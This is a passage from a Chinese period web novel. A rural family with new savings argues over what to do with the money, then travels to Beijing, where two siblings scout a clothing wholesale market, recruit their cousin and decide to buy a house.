他没有要求从重处罚这两个人,甚至真的把许芝灵和蒋南弄到公安局去,也是为了周晚,如果事情闹大,周晚也会变成这场漩涡中难以脱身的那个角色,被别人当做茶余饭后闲谈的谈资,周楚成不乐意见到那样的情况。 现在这种处理方法,所有人的注意力都落在了那对渣男,不对,现在是一对渣夫妻的身上,周家人反而是脱离出来,有周敬出面,更是不会有人注意到还有一个周晚,也是蒋南的未婚妻……至于周敬,帮妹妹背背锅,这也不是什么大事。 至于许芝灵和蒋南这对“爱侣”在进入婚姻以后会甜甜蜜蜜百年好合,还是成功地把婚姻过成了一场围城变成了一对怨偶,那就看他们自己了,对此周楚成充满了期待——这辈子祸祸不了他妹,他倒是很想知道蒋南的人生变成什么样。 但眼下,这些事情都不是他们考虑的重点了,放在周家人,尤其是周红军这一家人面前的,是一个艰难的,决定一家人以后方向的大事情——钱。 周红军在厂里挂靠,加上他自己勤快肯干,一个月现在能有快一百块钱的收入,沈桂香低一些,她的事业刚刚起步,找她做东西的人还比较少,一个月估计也能有个四十块钱。 然后就是兄妹俩的生意,除了固定分红,赵小鹏那边的生意还在持续往里投入资金,如果全部取出来,估计能有个几千块钱,周楚成自己还有五六千的存款,其中大部分是系统给的,明面上是他做别的生意赚来的,不知道是不是因为这笔钱来自系统,所以周家人对此并没有提出质疑,也省了周楚成解释的工夫。 最后,村里和乡里也给了周楚成一笔奖金,周晚其实也有,只不过在现在周家的收入统计里,这两笔奖金都不能算是大额财产了。 也就是说,周红军全家现在的存款全部加起来,高达一万多块钱,他们当然不是全国第一个万元户,可在这个小小的红旗村,乃至是这个县城里头,他们的这笔钱,已经是独一份地高了。 两个孩子马上要去京城读书,周家人对于这笔钱要怎么分配,产生了分歧。 周红军受了一辈子管,他已经习惯拿固定的工资,花固定的钱,对他来说,这些钱放着是最好,什么也别做,虽然不会变多,但也不会亏损,沈桂香比他稍微激进一些,但不多,她的想法是存到银行里。 “现在大家都存银行,还分什么活期、定期,据说定期存六年,能有7%的利息,就是说咱们存一百块钱进去,七年后就能变成一百零七块钱!” 周红军很心动那七块钱,一斤猪肉才一块多一点,七块钱,能多买七斤猪肉呢,但是长久以来的习惯,让他天然地不信任把钱放在银行,“换一个小本本来,就那么几行字写着,那到时候要是不给咱们换钱怎么办!” 他现在哪怕是在厂里,都要现钱,要用票结,他那些同事都有存折,常常笑话周红军太保守,捏着钱到处跑,周红军心里也暗暗嘲笑这些城里人,在这种关键的事情上还是不如他们乡下人可靠,钱到处都能藏,就是灶角里头都能塞大团结,比银行安全。 沈桂香翻白眼,看不得丈夫抠抠搜搜的没见识,周红军觉得老婆来了县城心就大了,两人争执了几句,周楚成哭笑不得地把他爹妈都按了回去:“听我的,两个方案都不选!” 周晚身体还是不太好,好在周家现在不缺钱,赵小鹏去省城的时候顺带给她捎了几个黄桃罐头,不用票,黑市上贵一点随便买——她一边用勺子挖黄桃吃,一边也赞同哥哥的提议:“我也觉得,两个都不选。” 都不选?那选什么? 周家两口子的问题还没问出口,兄妹俩异口同声给出了答案。 “去京城买房子。” “去京城投资做生意。” 周家夫妻两个头上都冒出了问号:“为啥去京城?” 他们眼里,上大学是两个孩子的事情,和他们,和家里这么大笔钱扯不上关系。 周晚示意她哥来解释,周楚成轻咳一声:“爸,妈,你们有没有发现,越是地方大,大家越是有钱。” 他分析道:“你看,在村里,咱们主要能挣钱的办法,就只有种地,要么就自己想别的办法,以前打点什么野鸭子野鸡拿去卖,那都不是长久的生意,养鸡养鸭也要等丰收年,要是粮食收成不好,鸡鸭都得饿死,更别说养猪了,小猪仔买都买不起。” “县城就和村里不一样,这里没人种地,但是他们有国营供销社,有工厂,甚至还有走街串巷的手艺人,他们挣钱的方法就多了,为啥,因为人多,大家来来往往的,就会产生消费,说通俗点,衣食住行、吃喝拉撒,哪样都会花钱。” 这一点沈桂香和周红军就有同感了,尤其是沈桂香,家里的大大小小后勤工作都是她在负责,虽然都是用票买,但是乡下是大家没钱买,城里是供应根本供不上那么多人,所以就延伸出了有些肉摊的销售员,偷偷把肉截留下来,然后用黑市的价格免票卖出去的事情。 这种事情不可能有人告,因为大家都愁没肉吃,生怕把这个给告下去,下一个就不卖肉给他们了,所以慢慢地各行各业都很司空见惯了,而且胆子大的,像是赵小鹏直接做起了倒买倒卖的生意,去省城进一次货,那些袜子围巾之类的针织品,一两天就能被抢购一空。 “这还只是县城,如果是京城呢?”周楚成引导着父母去思考,“京城那么繁华,什么都有,又是首都,可能还有外国人……这能没有花钱的地方吗?” 有花钱的地方,那就有挣钱的地方,“一块钱,在县城可能挣得回来两块钱,在省城可能挣得回来四块钱,那在京城,就有可能挣回来八块钱。” “可是,京城咱们人生地不熟的……” “妈,你别忘了,我们不是专门去京城做生意,我和晚晚是去念书的。”周楚成说道,“我们在学校里有那么多消息渠道,那可是国内最好的大学。” 这句话成功地抚平了两口子心里的忧虑,但具体到底要怎么做,沈桂香觉得她还得跟周红军再 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周楚成被妹妹的开门见山直接打了个措手不及,兄妹俩从小一起长大,周晚哪里还不知道哥哥怎么想的,她把周楚成泡的麦乳精接过来喝了一口,有些感慨。 “爸妈,还有哥你都不同意我跟他进城,那时候我总想着不至于,我和蒋南是自由恋爱,他喜欢我,我喜欢他,我们肯定会为了共同的目标一起努力,互相包容。” “每次我和蒋南见面,他都喜欢和我说京城有多么好多么好,他留在大队上,是因为舍不得我,我那时候很感动,现在想想真滑稽,他是上山下乡的知识分子,这是国家政策,和我又有什么关系呢,可是在他这么一讲以后,我好像就有了愧疚心,我总觉得是因为我,蒋南才没能回城,才在乡下和我们一样过苦日子。” 周楚成轻声说道:“你没有做错什么。” “不,我做错了,我曾经在自己的学业,和蒋南之间有过犹豫,我真的想过,或许去京城,对蒋南来说才是最好的选择……哪怕只有一瞬间我出现过这个念头,我也做错了。”周晚很坦然,“不识庐山真面目,只缘身在此山中,我是自己一叶障目,差点害了我自己。” 如果不是因为县城里的房子是他们租的,她妈担心录取通知书拿不到,硬是让他们当初留了大队部的地址;如果不是恰好那天田老汉去田里看守,碰到那对野鸳鸯…… 周晚无法想象,自己会迎来什么样的结局,是被挚友和爱人同时欺骗一辈子,还是在以后的某个瞬间,再以更不堪的方式发现这两人之间的奸情,无论是哪一种结局,她觉得她都很难再走出来,甚至可能一辈子都不会走出来。 “哥,你别担心,我真的没事。” 她只是想通了,一场失败的,甚至是令人难堪的初恋,让周晚彻彻底底地明白了,除了爱她护她的亲人,其他谁也不应该成为走进她心里的那个人,而钱却很重要,在可见的未来,它甚至会越来越重要。 “我不想谈恋爱,我只想赚钱,赚很多很多钱,让咱爸妈都过上好日子。”周晚掷地有声,“我看走眼了一次,绝对不能有第二次,这次去京城,我一定要想办法多帮上你的忙,不让你和小鹏哥两个人忙活。” 周晚眼里燃着熊熊的斗志,周楚成心情有些复杂——要是说之前他妹还有点小女生的恋爱脑的话,现在似乎是向另一个极端发展了,这是要封心锁爱啊! 周晚还真就说到做到,沈桂香两口子商量以后,决定就按照周楚成说的办,一家人集体搬家去京城,按照她的说法,大不了一家人过去先跟在县城一样,找个地方租房子落脚,再徐徐图之,要是不行,两口子就还回县城来。 总之一家人就是不要分开。 当然,这只是对儿子女儿说的,背地里,沈桂香也和丈夫念叨:“楚成现在太有主意了,咱们俩要不趁着年纪还不算老把俩孩子带着,这个天他都能翻过去,有咱们俩在旁边看着,再怎么样出不了大事儿。” 周红军也有自己的一点小念头,“咱们一辈子都是乡下人,穷惯了,周围也都是穷人,没见识,但咱们不能让孩子以后也过这种日子,你想想,要不是咱俩没文化吃了亏,晚晚怎么被蒋南的甜言蜜语给骗了?” 沈桂香当初更是一力主张先扯证,她也不免庆幸,要不是因为蒋南一直磨磨蹭蹭,儿子周楚成又一直在中间“捣鬼”,嚷嚷他要高考让一家人没时间顾上别的,周晚要是真的跟蒋南领了证,那到时候再想脱身就难了。 “你说得对,咱们俩必须得支棱起来。” 25. 第 25 章 于是就这样,去京城的事情就拍了板,开始租期签了一年,周家商量之后,干脆暂时先不退这个院子,就当多一条退路,而且周楚成那间房子收拾出来还可以给赵小鹏放货物。 也不等周家兄妹开学,趁着这会儿暑假天气热不用背太多行李,全家直接出发,去京城,先好好地旅游一趟,趁机考察考察京城那边到底好不好做生意,再商量在哪儿落脚租房。 不止周楚成和周晚,周敬也考上了京城的大学,沈桂香和王莲芳两妯娌一合计,干脆两家人一起去,正好人多还不怕路上遇到危险,周楚成原本以为周敬会拒绝,谁知道他也一口答应了下来。 于是,周家上上下下全体出动,坐上了最近的一班客车,先是转到了省城,再坐上绿皮火车,三天三夜后,一行人终于抵达了目的地,京城火车站。 客车转绿皮火车,又恰好是夏天最炎热的时候,火车上没空调,只能把窗子大开着,遇到几个产煤矿的小城市,鼻腔里头都是黑乎乎的煤灰,吃的更不用说,乘务员卖的一份饭五毛钱,对周家现在来说不算贵,可是不好吃,甚至遇到推太久过来,那饭菜都带着一股油腻腻的怪味。 这么一折腾,所有人都晕车晕得不行,沈桂香干脆拍板,她和王莲芳一人带一轮,两家轮流去餐车吃饭,餐车的供应就要松得多,而且他们都是支着炉子现炒,比推小推车的贵一些,一个番茄炒鸡蛋就要五毛,如果是青椒肉丝这种菜,甚至要到一块钱,米饭一毛钱一份。 贵是贵,胜在新鲜,还热腾腾的好吃,再加上途径的一些车站,站台上还有叫卖瓜子花生汽水,周家这才挺过了漫长的旅途,到达火车站,下车的那一刻,就是周红旗这个最古板的周家大家长,也感觉自己快要热泪盈眶了。 随即,周家人就感受到了首都的震撼。 在省城虽然也有火车站,但远远没有京城火车站这么繁忙。 来来往往背着蛇皮口袋、麻袋的人络绎不绝,也有穿着时髦,手上还带着石英表的商务人士,有的行色匆匆,有的悠闲自在,火车进站的呜呜声就没停过,一轮接一轮,熙熙攘攘的人群充斥着各地的方言,普通话夹杂其中,好像天南海北,所有的人都聚集在了这里。 “这就是京城……” 周敬的一声喃喃,道出了周家人的心潮澎湃,就连周楚成,也被眼前这眼花缭乱的大都市景象给震得说不出话来,他知道京城是发展最好的那一批,可是知道,和亲眼见到,这是完全不一样的概念。 还是周晚的一声惊叫,把周家众人给拉回了现实:“谁抢我包啊!” 竟然是几个半大小子,不知道怎么混进了站台来,正鬼鬼祟祟地想把周晚的行李包给偷走,周楚成和周敬两个大男生往那一杵,几个鬼小子马上撒丫子就跑,周晚再检查背包,上面已经割开了一个大口子,显然这群小孩还有另一个想法,偷不成包,至少从里头顺点东西走。 这个小小的插曲顿时把周家人从云端拉了回来,繁华的大城市,这小偷也明显变多了,他们只好赶紧护着各自的行李,挤在一起离开了火车站。 好在周家人都奉行“穷家富路”的原则,这次出来,哪怕是周红旗两口子也愿意订招待所,一行七个人浩浩荡荡地坐车去了预定好的招待所,旁边就是个公安局,众人这才感觉安全了许多。 安顿完行李,重要的东西还是随身带着,沈桂香和王莲芳两个女人都有经验,给所有人都缝有内兜,一般人根本找不见,随身连挎包都不带,就这样空着手出了门。 在火车上折腾了好几天,哪怕是花大价钱去餐车吃,翻来覆去就那么几个菜,早就吃腻了,来了京城,自然是要吃点京城的特色菜,大夏天的涮羊肉是不行,烤鸭就成了周家人的首选,选了京城的一家老字号,菜单拿上来,王莲芳就有些咂舌。 “这么贵!” 一只烤鸭十块钱,能买十斤猪肉了,一大碗鸭骨头炖的汤六毛钱,那更是比餐车的番茄炒蛋还贵。 周红军一家是不缺这一顿烤鸭的钱,但周红旗和王莲芳两口子手里存款并不那么富裕。 村里和乡里也给周敬发了钱,他们俩是舍不得动的,要给儿子在学校当压箱底的钱,能用的大部分都是工分和粮食换的钱。 不过转念一想,这一辈子还不知道能来京城几次。 王莲芳狠下心点菜,最后七个人点了两只鸭子,一人要了一小碗鸭骨头汤,算上料汁、葱姜这些配菜,最后结账一共是二十四块二,抹了个零,二十四块。 一顿饭,就堪比火车上好几天吃饭用出去的全部钱了,这京城的物价给周家人的震撼,一点也不比火车站低。 而这只是周家人对京城物价认知的开始,十块钱的故宫门票,三块钱的颐和园门票……好看是好看,甚至在故宫还能近距离地看一眼当年皇帝的宝座,可这黄澄澄的龙椅并不能打消周家人看着价格的胆战心惊,逛完颐和园,说什么都不去长城了。 “长城离市区那么远,咱们还得专门坐公交车过去,中午没地儿吃饭,就是带茶叶蛋过去,这个天气中午恐怕都馊了……还得在那吃饭,加上门票,车票,太贵了!”王莲芳越数越心惊,“这京城的人难道家家都有黄金?!” 京城人当然不是家家有黄金,昂贵的消费价格背后隐藏的是强大的消费能力,周家取消了长城的观光项目,却耐不住大城市的天然吸引力,沈桂香拉着大嫂要去京城逛百货商场,“咱们都活了半辈子了,再怎么来了也得看一看。” 周楚成决定拉着妹妹出去散散心,也看看市场情况,没想到,周敬也想去:“我现在意识到,有钱能使鬼推磨,这是一句实话,没钱,连石磨都买不起,也无所谓谁来推了。” 他也要在京城读四年大学,想趁着这个机会,在京城能多赚点钱,周晚看出来他还是受到许芝灵的事情很大打击,现在的话多半是一时气话,她欲言又止,周楚成拉过妹妹:“你就让他去,他自己看了这个市场就知道了。” 最后周晚还是点了头,于是一行三人出发去了动物园服装批发市场,服装是周家兄妹最熟悉的领域,赵小鹏没来京城,委托他们俩到京城“开开眼界”,看看货品怎么样。 相比起兄妹二人的熟稔,周敬显然有些手忙脚乱,他自诩是个读书人,哪见过批发市场里漫天都是吆喝、还价和争吵的阵势,这里的价格也让他极为惊讶,他考上大学的时候,他妈王莲芳还特地去县城的国营商店给他买过一件新衬衫,在这里,同样的价格能买上两三件。 甚至没人关心样式,是衬衫,还是T恤,总之是夏天的衣服就约好一个价格,一个麻袋一个麻袋地往里塞,哪像是在买衣服,比乡下捉鸡捉鸭子的时候还要狂野。 而最令周敬震惊的,还是周家兄妹在这环境中的如鱼得水,周楚成偶尔会和妹妹低声讨论货品的情况,他的目光聚焦于这个品类能流行几年,哪些人群可能会买,而周晚则是在批发价和进货成本上频频计算。 兄妹俩配合默契,还时不时会和摊主们搭话,却在开口之后,就又变成了别人眼中“纯真无邪的大学生”,迅速地打消了摊主的疑心,三言两语之中,就套出了更多的信息。 反而是跟在一边的周敬成了摊主们针对的对象,他小心翼翼,生怕和别人有什么冲突的模样,在摊主们眼里反而像是来刺探军情的贼,要不是周敬那张足够像书呆子的脸,和周晚在旁边帮他解释,周敬险些就被摊主们给丢出了批发市场。 一趟逛下来,周敬脚不累,心却很累,周楚成给三人一人买了一瓶汽水,橘黄色的橙汁汽水冰冰凉凉,下到胃里,整个人的精神都好像为之一振,周敬迟疑了一下,还是问道:“你们打算在这里批发衣服,在京城找个地方卖吗?” 三个人都在县城中学,又是这么亲近的亲戚,加上之前捉奸在地那件事里,周晚和周敬都是受害人,周楚成兄妹俩并没有和堂哥隐瞒他们在和人一起做袜子生意的事情,周敬甚至还见过赵小鹏,只是那时候他不知道这个生意到底能赚多少钱。 在周敬贫瘠的想象中,或许就比当临时工高一些? 但今天这趟旅程,让他完全推翻了之前的想法,他意识到下海经商这四个字的魔力,之所以叫下海,是因为钱就像在大海里那么多啊! 没想到,周楚成却摇摇头:“这个不合适。” 周敬很意外:“为什么?” “这边批发市场反应太慢了。”周晚帮哥哥解释道,她对数字很敏感,刚刚走那一圈,她就意识到了哥哥和自己一样,对京城批发市场不太满意,“敬哥,我们在老家那会,是不是外头有什么好东西,咱们老是最晚才知道的?” 周敬点点头。 “服装这个东西,就特别吃新鲜,你想想,比如说咱们这个月出了一部电影,大家都爱看,那肯定是谁先摆出来同样的衣服,谁就最赚钱,所以小鹏哥要去省城拿货,因为省城比县城的反应要快。” “但是京城的反应不够快,不是说比咱们省城慢,而是说作为一个大城市,它速度还不够快。” 周敬似乎懂了:“它应该是电影上映,这边马上批发市场就会出现同款。” “对!”周晚很高兴,“刚刚我们从前院街那边过来批发市场,就路过了一家电影院,你看上面贴的海报,女主角穿着的那身泡泡袖短袖衫和高腰喇叭裤,在批发市场里是一点没见着……新闻杂志上都在讨论这部电影,但是批发市场还沉浸在工装和塑料凉鞋上。” 她晃了晃手里的杂志,刚刚从批发市场出来,周楚成去帮他们买汽水,周晚就跑去买了这本杂志,三毛钱一本,书报摊老板说,这是现在最流行最火爆的电影杂志, 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“你们要是需要人帮忙,我能不能来应聘。”周敬认认真真地说,“咱们都是一个村的,虽然我读书的时候多,种地的时候少,但是我力气还可以,文化水平也凑合过得去,沟通如果你们有要求,我现在可以学。” 周晚被这番话惊呆了:“敬哥……” “我是认真的,我想来应聘——你们也不要因为我是亲戚,就跟我不好意思说,我可以先从合同,不对,先从实习开始做,我能吃苦,只要你们提要求,我都可以想办法学,想办法改。” 这番话在周敬心里酝酿了很久了,或许从坐上绿皮火车那一刻开始,从他看到父母为了一块钱的肉菜舍不得吃,借口说老两口爱吃青椒,把肉都给他吃的那一刻开始,周敬就决定,以后不要再让父母过那种苦日子。 “如果不行,我也会去其他地方应聘,总之,我得想办法赚钱,赚更多钱……我想让爸妈过好日子,像叔叔和婶婶那样,能开开心心地在外面逛街,而不是为了一顿饭发愁。” 周楚成和妹妹对视一眼,周晚眼里有些期待。 她和周敬同病相怜,没有人比她更明白周敬现在心里的痛苦和煎熬,被背叛的伤口不会因为时间而痊愈,只有忙碌才会让自己遗忘伤口的存在——他们是一类人,而且,这桩生意的确需要人。 需要一个和赵小鹏能够对接的人,最好是能够长期驻守在京城不离开,并且随叫随到的人,还有,这个人要信得过,知根知底——满足这些条件的,目前除了周敬没有旁人。 周敬虽然说他自己文凭还凑合,但人大的文凭,在这个年代可不仅仅是凑合那么简单,它背后还代表着一个顶尖学府的人脉,一个……足够广阔的市场,周楚成心里有了一个计划雏形,在妹妹和堂哥期盼的目光中,他点了点头:“那敬哥,你先试试?” 周敬大喜过望:“行,没问题,我一定会干好这份工作的!” 有了“新员工”的加入,这趟京城批发市场之旅就不能这么简单结束了,兄妹俩商量了一下,干脆趁着这次机会,开始锻炼周敬的能力,也看看他是不是真的和自己说的那样,是下定决心要做出改变。 周敬没有辜负他们的信任,接下来的两三天,作为一个书呆子,他开始了自己的市场探索。 一个行踪可疑,反复往来的书呆子,他一开始并不受老板们待见,只能站在一边傻乎乎地像个木桩子,连上手摸一摸那些衣服的材质都不敢,但他很会观察。 但作为一个能考上人大的学霸,周敬一点不笨,当他意识到“搭话”也是一门技巧,一门手艺的时候,他开始尝试模仿周楚成兄妹俩说话的方式,甚至还主动脱队,跑去其他的批发市场,独自去和老板们套近乎,去询价。 等周家兄妹再在招待所看到他的时候,是周红旗夫妇在京城的最后一天,两口子不像周红军家这么有底气,他们要先回一趟县城,在那边呆一段时间,考虑清楚再过来,但这次京城之旅,加上沈桂香的从旁劝说,显然给王莲芳留下了极为深刻的印象。 “桂香,你等着我,咱们迟早在京城团聚。” 绿皮火车启动远去,距离开学的时间也越来越近,周敬告别周家兄妹,他要赶在赵小鹏来京城之前,先独自去闯荡批发市场,保证自己的信息足够广泛可靠,周家人则去找地方落脚。 一开始周楚成提议就在京城买房,但沈桂香心里没底,买房可是一笔大支出,万一要是选错了,那损失可就大了! 先租房试试。 只不过转来转去,能租到的房子让周家人都不太满意,要么是一间里头恨不得隔出九间、十间房子的大杂院,要么就是极为偏僻,连公交车都搭不到的郊外农舍。 沈桂香终于承认儿子的想法恐怕才是对的。 “买房,咱们直接买!”